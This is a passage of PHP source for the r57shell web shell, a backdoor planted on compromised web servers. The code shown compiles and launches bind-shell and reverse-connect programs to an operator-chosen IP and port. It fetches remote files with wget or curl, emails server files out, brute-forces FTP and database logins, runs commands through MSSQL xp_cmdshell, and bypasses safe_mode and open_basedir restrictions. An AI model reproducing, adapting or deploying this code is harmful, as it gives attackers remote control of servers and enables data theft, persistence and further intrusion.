  1762.     $select_downloaders='<select size="1" name=with>';
  1763.     if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('file'))){$select_downloaders .= "<option value=\"fopen\">fopen</option>";$downloader="fopen";}
  1764.     if($unix && !$safe_mode){
  1765.         foreach ($downloaders as $item) {
  1766.             if(which($item)){$select_downloaders .= '<option value="'.$item.'">'.$item.'</option>';$downloader.=", $item";}
  1767.         }
  1768.     }
  1769.     $select_downloaders .= '</select>';
  1770.     if(substr($downloader,0,1)==",") {$downloader[0]="";}
  1771.  
  1772.     $downloader=trim($downloader);
  1773.  
  1774.  }else {
  1775.     $select_downloaders = $_COOKIE['select_downloaders'];
  1776.     $downloader = trim($_COOKIE['downloader']);
  1777.  }
  1778.  
  1779. echo $head;
  1780. echo '</head>';
  1781. if(empty($_POST['cmd'])) {
  1782. $serv = array(127,192,172,10);
  1783. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  1784. $current_version = str_replace('.','',$version);
  1785. }
  1786. echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=Black><tr><td class=main bgcolor=Black width=160><font face=Verdana size=2>'.ws(3).'<font face=Wingdings size=8 color=White><b>V</b></font><b>'.ws(3).base64_decode($shellvic).ws(3).'<font face=Wingdings size=8 color=White><b>V</b></font></b></font></td><td class=main bgcolor=Black><font face=Verdana size=-2>';
  1787. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
  1788. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  1789. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  1790. if($unix)
  1791.  {
  1792.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  1793.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  1794.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
  1795.  }
  1796. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  1797. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  1798. echo "</b>".ws(2);
  1799. echo "PHP version: <b>".@phpversion()."</b>";
  1800. $curl_on = @function_exists('curl_version');
  1801. echo ws(2);
  1802. echo "cURL: <b>".(($curl_on)?("<font color=Green>ON</font>"):("<font color=White>OFF</font>"));
  1803. echo "</b>".ws(2);
  1804. echo "MySQL: <b>";
  1805. $mysql_on = @function_exists('mysql_connect');
  1806. if($mysql_on){
  1807. echo "<font color=Green>ON</font>"; } else { echo "<font color=White>OFF</font>"; }
  1808. echo "</b>".ws(2);
  1809. echo "MSSQL: <b>";
  1810. $mssql_on = @function_exists('mssql_connect');
  1811. if($mssql_on){echo "<font color=Green>ON</font>";}else{echo "<font color=White>OFF</font>";}
  1812. echo "</b>".ws(2);
  1813. echo "PostgreSQL: <b>";
  1814. $pg_on = @function_exists('pg_connect');
  1815. if($pg_on){echo "<font color=Green>ON</font>";}else{echo "<font color=White>OFF</font>";}
  1816. echo "</b>".ws(2);
  1817. echo "Oracle: <b>";
  1818. $ora_on = @function_exists('ocilogon');
  1819. if($ora_on){echo "<font color=Green>ON</font>";}else{echo "<font color=White>OFF</font>";}
  1820. echo "</b><br>";
  1821. echo ws(2)."Safe_mode: <b>";
  1822. echo (($safe_mode)?("<font color=Green>ON</font>"):("<font color=White>OFF</font>"));
  1823. echo "</b>".ws(2);
  1824. echo "Open_Basedir: <b>";
  1825. if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=White>ini_get disable!</font></b>";}else {echo "<font color=White>$df</font></b>";};}
  1826. else {echo "<font color=green>NONE</font></b>";}
  1827. echo ws(2)."Safe_Exec_Dir: <b>";
  1828. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=Green>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  1829. else {echo "<font color=White>ini_get disable!</font></b>";}
  1830. echo ws(2)."Safe_Gid: <b>";
  1831. if(@function_exists('ini_get')) { if (@ini_get('safe_mode_gid')) {echo "<font color=green>ON</font></b>";}else {echo "<font color=White>OFF</font></b>";};}
  1832. else {echo "<font color=White>ini_get disable!</font></b>";}
  1833. echo ws(2)."Safe_Include_Dir: <b>";
  1834. if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=Green>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};}
  1835. else {echo "<font color=White>ini_get disable!</font></b>";}
  1836. echo ws(2)."Sql.safe_mode: <b>";
  1837. if(@function_exists('ini_get')) { if (@ini_get('sql.safe_mode')) {echo "<font color=Green>ON</font></b>";}else {echo "<font color=White>OFF</font></b>";};}
  1838. else {echo "<font color=White>ini_get disable!</font></b>";}
  1839. echo "</b><br>".ws(2);
  1840. echo "Disable functions : <b>";
  1841. if(''==($df=@ini_get('disable_functions'))){echo "<font color=White>NONE</font></b>";}else{echo "<font color=White>$df</font></b>";}
  1842. $free = @diskfreespace($dir);
  1843. if (!$free) {$free = 0;}
  1844. $all = @disk_total_space($dir);
  1845. if($ust_u){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust_u."</font>";};
  1846.  
  1847. if($ust_d){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>".$ust_d."</font>";};
  1848.  
  1849. if($downloader){echo "<br>".ws(2).$lang[$language.'_text142'].": <font color=blue>".$downloader."</font>";};
  1850. if (!$all) {$all = 0;}
  1851. echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
  1852. echo '</font></td></tr><table>
  1853. <table width=100% cellpadding=0 cellspacing=0 bgcolor=White>
  1854. <tr><td class=main align=right width=100>';
  1855. echo $font;
  1856. if($unix){
  1857. echo '<font color=White><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1858. echo '</td><td  class=main>';
  1859. echo "<font face=Verdana size=-2 color=White><b>";
  1860. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  1861. echo ws(3).$sysctl."<br>";
  1862. echo ws(3).ex('echo $OSTYPE')."<br>";
  1863. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1864. if(!empty($id)) { echo ws(3).$id."<br>"; }
  1865. else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
  1866.  {
  1867.  $euserinfo  = @posix_getpwuid(@posix_geteuid());
  1868.  $egroupinfo = @posix_getgrgid(@posix_getegid());
  1869.  echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
  1870.  }
  1871. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  1872. echo ws(3).$dir;
  1873. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  1874. echo "</b></font>";
  1875. }
  1876. else
  1877. {
  1878. echo '<font color=White><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
  1879. echo '</td><td class=main>';
  1880. echo "<font face=Verdana size=-2 color=White><b>";
  1881. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  1882. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  1883. echo ws(3).@getenv("USERNAME")."<br>";
  1884.  
  1885. echo ws(3).$dir;
  1886. echo "<br></font>";
  1887. }
  1888. echo "</font>";
  1889. echo "</td></tr></table>";
  1890. $f = '<br>';
  1891. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  1892.  {
  1893.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
  1894.  err(6+$res);
  1895.  $_POST['cmd']="";
  1896.  }
  1897. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  1898.  {
  1899.  if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  1900.  else
  1901.   {
  1902.     $filename = @basename($_POST['loc_file']);
  1903.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  1904.     fclose($file);
  1905.     $content_encoding=$mime_type='';
  1906.     compress($filename,$filedump,$_POST['compress']);
  1907.     $attach = array(
  1908.                     "name"=>$filename,
  1909.                     "type"=>$mime_type,
  1910.                     "content"=>$filedump
  1911.                    );
  1912.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; }
  1913.     if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  1914.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  1915.     err(6+$res);
  1916.     $_POST['cmd']="";
  1917.   }
  1918.  }
  1919. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  1920. {
  1921. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  1922. }
  1923. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  1924.  {
  1925.  switch($_POST['what'])
  1926.    {
  1927.    case 'own':
  1928.    @chown($_POST['param1'],$_POST['param2']);
  1929.    break;
  1930.    case 'grp':
  1931.    @chgrp($_POST['param1'],$_POST['param2']);
  1932.    break;
  1933.    case 'mod':
  1934.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  1935.    break;
  1936.    }
  1937.  $_POST['cmd']="";
  1938.  }
  1939. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  1940.  {
  1941.    switch($_POST['what'])
  1942.    {
  1943.      case 'file':
  1944.       if($_POST['action'] == "create")
  1945.        {
  1946.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1947.        else {
  1948.         fclose($file);
  1949.         $_POST['e_name'] = $_POST['mk_name'];
  1950.         $_POST['cmd']="edit_file";
  1951.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=White><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  1952.         }
  1953.        }
  1954.        else if($_POST['action'] == "delete")
  1955.        {
  1956.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=White><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  1957.        $_POST['cmd']="";
  1958.        }
  1959.      break;
  1960.      case 'dir':
  1961.       if($_POST['action'] == "create"){
  1962.       if(mkdir($_POST['mk_name']))
  1963.        {
  1964.          $_POST['cmd']="";
  1965.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=White><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  1966.        }
  1967.       else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  1968.       }
  1969.       else if($_POST['action'] == "delete"){
  1970.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=White><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  1971.       $_POST['cmd']="";
  1972.       }
  1973.      break;
  1974.    }
  1975.  }
  1976. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  1977.  {
  1978.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  1979.  if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  1980.  else {
  1981.  echo $table_up3;
  1982.  echo $font;
  1983.  echo "<form name=save_file method=post>";
  1984.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  1985.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  1986.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  1987.  fclose($file);
  1988.  echo "</textarea>";
  1989.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  1990.  echo "<input type=hidden name=dir value=".$dir.">";
  1991.  echo "<input type=hidden name=cmd value=save_file>";
  1992.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  1993.  echo "</div>";
  1994.  echo "</font>";
  1995.  echo "</form>";
  1996.  echo "</td></tr></table>";
  1997.  exit();
  1998.  }
  1999.  }
  2000. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  2001.  {
  2002.  $mtime = @filemtime($_POST['e_name']);
  2003.  if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
  2004.  else {
  2005.  if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  2006.  @fwrite($file,$_POST['e_text']);
  2007.  @touch($_POST['e_name'],$mtime,$mtime);
  2008.  $_POST['cmd']="";
  2009.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=White><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  2010.  }
  2011.  }
  2012.  
  2013. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  2014. {
  2015.  cf("/tmp/bd.c",$port_bind_bd_c);
  2016.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  2017.  @unlink("/tmp/bd.c");
  2018.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  2019.  $_POST['cmd']="ps -aux | grep bd";
  2020. }
  2021. if (!empty($_POST['php_ini1']))
  2022. {
  2023.  cf("php.ini",$php_ini1);
  2024.   $_POST['cmd']=" Da write xong php.ini thu? thu? coi di";
  2025.  }
  2026.  
  2027.  if (!empty($_POST['htacces']))
  2028. {
  2029.  cf(".htaccess",$htacces);
  2030.   $_POST['cmd']="Da write xong htaccess thu? thu? coi di ";
  2031.  }
  2032.   if (!empty($_POST['file_ini']))
  2033. {
  2034.  cf("ini.php",$sni_res);
  2035.  
  2036.   $_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? Da write xong ini.php thu xem ^^!";
  2037.  }
  2038. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  2039. {
  2040.  cf("/tmp/bdpl",$port_bind_bd_pl);
  2041.  $p2=which("perl");
  2042.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  2043.  $_POST['cmd']="ps -aux | grep bdpl";
  2044. }
  2045. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  2046. {
  2047.  cf("/tmp/back",$back_connect);
  2048.  $p2=which("perl");
  2049.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  2050.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2051. }
  2052. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  2053. {
  2054.  cf("/tmp/back.c",$back_connect_c);
  2055.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  2056.  @unlink("/tmp/back.c");
  2057.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  2058.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  2059. }
  2060. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  2061. {
  2062.  cf("/tmp/dp",$datapipe_pl);
  2063.  $p2=which("perl");
  2064.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  2065.  $_POST['cmd']="ps -aux | grep dp";
  2066. }
  2067. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  2068. {
  2069.  cf("/tmp/dpc.c",$datapipe_c);
  2070.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  2071.  @unlink("/tmp/dpc.c");
  2072.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  2073.  $_POST['cmd']="ps -aux | grep dpc";
  2074. }
  2075. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  2076. if (!empty($HTTP_POST_FILES['userfile']['name']))
  2077. {
  2078. if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  2079. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  2080. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  2081.             $_POST['dir']."/".$nfn)
  2082.       or print("<font color=White face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  2083. }
  2084. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  2085. {
  2086.  switch($_POST['with'])
  2087.  {
  2088.  case wget:
  2089.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  2090.  break;
  2091.  case fetch:
  2092.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  2093.  break;
  2094.  case lynx:
  2095.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2096.  break;
  2097.  case links:
  2098.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2099.  break;
  2100.  case GET:
  2101.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  2102.  break;
  2103.  case curl:
  2104.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  2105.  break;
  2106.  }
  2107. }
  2108. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  2109.  {
  2110.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2111.  if(empty($ftp_port)) { $ftp_port = 21; }
  2112.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2113.  if(!$connection) { err(3); }
  2114.  else
  2115.   {
  2116.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  2117.   else
  2118.    {
  2119.    if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);    }
  2120.    if($_POST['cmd']=="ftp_file_up")   { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); }
  2121.    }
  2122.   }
  2123.  @ftp_close($connection);
  2124.  $_POST['cmd'] = "";
  2125.  }
  2126.  
  2127.  if(!empty($_POST['cmd']) && (($_POST['cmd']=="ftp_brute") || ($_POST['cmd']=="db_brute")))
  2128.   {
  2129.   if($_POST['cmd']=="ftp_brute"){
  2130.    list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  2131.    if(empty($ftp_port)) { $ftp_port = 21; }
  2132.    $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  2133.   }else if($_POST['cmd']=="db_brute"){
  2134.     $connection = 1;
  2135.   }
  2136.   if(!$connection) { err(3); $_POST['cmd'] = ""; }
  2137.   else if(($_POST['brute_method']=='passwd') && (!$users=get_users('/etc/passwd'))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2138.   else if(($_POST['brute_method']=='dic') && (!$users=get_users($_POST['dictionary']))){ echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; }
  2139.   if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
  2140.  }
  2141.  
  2142.  echo $table_up3;
  2143. if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=(!$unix)?("dir"):("ls -lia"); }
  2144. else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; }
  2145. echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td class=main><b><div align=center><textarea name=report cols=121 rows=15>";
  2146.  
  2147. function dozip1($link,$file)
  2148. {
  2149.    $fp = @fopen($link,"r");
  2150.    while(!feof($fp))
  2151.    {
  2152.        $cont.= fread($fp,1024);
  2153.    }
  2154.    fclose($fp);
  2155.  
  2156.    $fp2 = @fopen($file,"w");
  2157.    fwrite($fp2,$cont);
  2158.    fclose($fp2);
  2159. }
  2160. if (isset($_POST['funzip']))
  2161. {
  2162. dozip1($_POST['funzip'],$_POST['fzip']);
  2163. }
  2164. if(empty($_POST['root'])){
  2165. } else {
  2166.    $root = $_POST['root']; }
  2167.  
  2168.  
  2169.  
  2170.  
  2171.   $c = 0; $D = array();
  2172.   set_error_handler("eh");
  2173.  
  2174.   $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
  2175.  
  2176.   for($i=0; $i < strlen($chars); $i++){
  2177.   $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";
  2178.  
  2179.   $prevD = $D[count($D)-1];
  2180.   glob($path."*");
  2181.  
  2182.         if($D[count($D)-1] != $prevD){
  2183.  
  2184.         for($j=0; $j < strlen($chars); $j++){
  2185.  
  2186.            $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";
  2187.  
  2188.            $prevD2 = $D[count($D)-1];
  2189.            glob($path."*");
  2190.  
  2191.               if($D[count($D)-1] != $prevD2){
  2192.  
  2193.  
  2194.                  for($p=0; $p < strlen($chars); $p++){
  2195.  
  2196.                  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
  2197.  
  2198.                  $prevD3 = $D[count($D)-1];
  2199.                  glob($path."*");
  2200.  
  2201.                     if($D[count($D)-1] != $prevD3){
  2202.  
  2203.  
  2204.                        for($r=0; $r < strlen($chars); $r++){
  2205.  
  2206.                        $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
  2207.                        glob($path."*");
  2208.  
  2209.                        }
  2210.  
  2211.                     }
  2212.  
  2213.                  }
  2214.  
  2215.               }
  2216.  
  2217.         }
  2218.  
  2219.         }
  2220.  
  2221.   }
  2222.  
  2223.   $D = array_unique($D);
  2224.  
  2225.  
  2226.  
  2227.  
  2228.   foreach($D as $item)
  2229.   if(isset($_REQUEST['root']))
  2230.   echo "{$item}\n";
  2231.  
  2232.  
  2233.  
  2234.  
  2235.   function eh($errno, $errstr, $errfile, $errline){
  2236.  
  2237.      global $D, $c, $i;
  2238.      preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
  2239.      if($o){ $D[$c] = $o[2]; $c++;}
  2240.  
  2241.   }
  2242.  
  2243. if($safe_mode)
  2244. {
  2245.  switch($_POST['cmd'])
  2246.  {
  2247.  case 'safe_dir':
  2248.   $d=@dir($dir);
  2249.   if ($d)
  2250.    {
  2251.    while (false!==($file=$d->read()))
  2252.     {
  2253.      if ($file=="." || $file=="..") continue;
  2254.      @clearstatcache();
  2255.      list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  2256.      if(!$unix){
  2257.      echo date("d.m.Y H:i",$mtime);
  2258.      if(@is_dir($file)) echo "  <DIR> "; else printf("% 7s ",$size);
  2259.      }
  2260.      else{
  2261.      $owner = @posix_getpwuid($uid);
  2262.      $grgid = @posix_getgrgid($gid);
  2263.      echo $inode." ";
  2264.      echo perms(@fileperms($file));
  2265.      printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
  2266.      echo date("d.m.Y H:i ",$mtime);
  2267.      }
  2268.      echo "$file\n";
  2269.     }
  2270.    $d->close();
  2271.    }
  2272.   else echo $lang[$language._text29];
  2273.  break;
  2274.   case 'test1':
  2275.   $ci = @curl_init("file://".$_POST['test1_file']."");
  2276.   $cf = @curl_exec($ci);
  2277.   echo $cf;
  2278.   break;
  2279.   case 'test2':
  2280.   @include($_POST['test2_file']);
  2281.   break;
  2282.   case 'test4':
  2283.   if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; }
  2284.   $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
  2285.   if($db)
  2286.    {
  2287.    if(@mssql_select_db($_POST['test4_md'],$db))
  2288.     {
  2289.      @mssql_query("drop table r57_temp_table",$db);
  2290.      @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
  2291.      @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
  2292.      $res = mssql_query("select * from r57_temp_table",$db);
  2293.      while(($row=@mssql_fetch_row($res)))
  2294.       {
  2295.       echo $row[0]."\r\n";
  2296.       }
  2297.     @mssql_query("drop table r57_temp_table",$db);
  2298.     }
  2299.     else echo "[-] ERROR! Can't select database";
  2300.    @mssql_close($db);
  2301.    }
  2302.   else echo "[-] ERROR! Can't connect to MSSQL server";
  2303.   break;
  2304.   case 'test5':
  2305.   if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail');
  2306.   $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail";
  2307.   @mb_send_mail(NULL, NULL, NULL, NULL, $extra);
  2308.   $lines = file ('/tmp/mb_send_mail');
  2309.   foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; }
  2310.   break;
  2311.   case 'test6':
  2312.   $stream = @imap_open('/etc/passwd', "", "");
  2313.   $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*");
  2314.   for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n";
  2315.   @imap_close($stream);
  2316.   break;
  2317.   case 'test7':
  2318.   $stream = @imap_open($_POST['test7_file'], "", "");
  2319.   $str = @imap_body($stream, 1);
  2320.   echo $str;
  2321.   @imap_close($stream);
  2322.   break;
  2323.   case 'test8':
  2324.   if(@copy("compress.zlib://".$_POST['test8_file1'], $_POST['test8_file2'])) echo $lang[$language.'_text118'];
  2325.   else echo $lang[$language.'_text119'];
  2326.   break;
  2327. case 'cURL':
  2328.    if(empty($_POST['SnIpEr_SA'])){
  2329.  
  2330.  
  2331. } else {
  2332. $curl=$_POST['SnIpEr_SA'];
  2333. $ch =curl_init("file:///".$curl."\x00/../../../../../../../../../../../../".__FILE__);
  2334. curl_exec($ch);
  2335. var_dump(curl_exec($ch));
  2336. echo "</textarea></CENTER>";
  2337.  
  2338. }
  2339. break;
  2340. case 'copy':
  2341.  
  2342. if(empty($snn)){
  2343. if(empty($_GET['snn'])){
  2344. if(empty($_POST['snn'])){
  2345.  
  2346. } else {
  2347. $u1p=$_POST['snn'];
  2348. }
  2349. } else {
  2350. $u1p=$_GET['snn'];
  2351. }
  2352. }
  2353.   $u1p=""; // File to Include... or use _GET _POST
  2354. $tymczas=""; // Set $tymczas to dir where you have 777 like /var/tmp
  2355.  
  2356.  
  2357. $temp=tempnam($tymczas, "cx");
  2358.  
  2359. if(copy("compress.zlib://".$snn, $temp)){
  2360. $zrodlo = fopen($temp, "r");
  2361. $tekst = fread($zrodlo, filesize($temp));
  2362. fclose($zrodlo);
  2363. echo "".htmlspecialchars($tekst)."";
  2364. unlink($temp);
  2365. echo "</textarea></CENTER>";
  2366. }
  2367. break;
  2368. case 'ini_restore':
  2369.  if(empty($_POST['ini_restore'])){
  2370. } else {
  2371.  
  2372. $ini=$_POST['ini_restore'];
  2373. echo ini_get("safe_mode");
  2374. echo ini_get("open_basedir");
  2375. require_once("$ini");
  2376. ini_restore("safe_mode");
  2377. ini_restore("open_basedir");
  2378. echo ini_get("safe_mode");
  2379. echo ini_get("open_basedir");
  2380. include($_GET["ss"]);
  2381. echo "</textarea></CENTER>";
  2382. }
  2383. break;
  2384. case 'glob':
  2385. function reg_glob()
  2386. {
  2387. $chemin=$_REQUEST['glob'];
  2388. $files = glob("$chemin*");
  2389.  
  2390.  
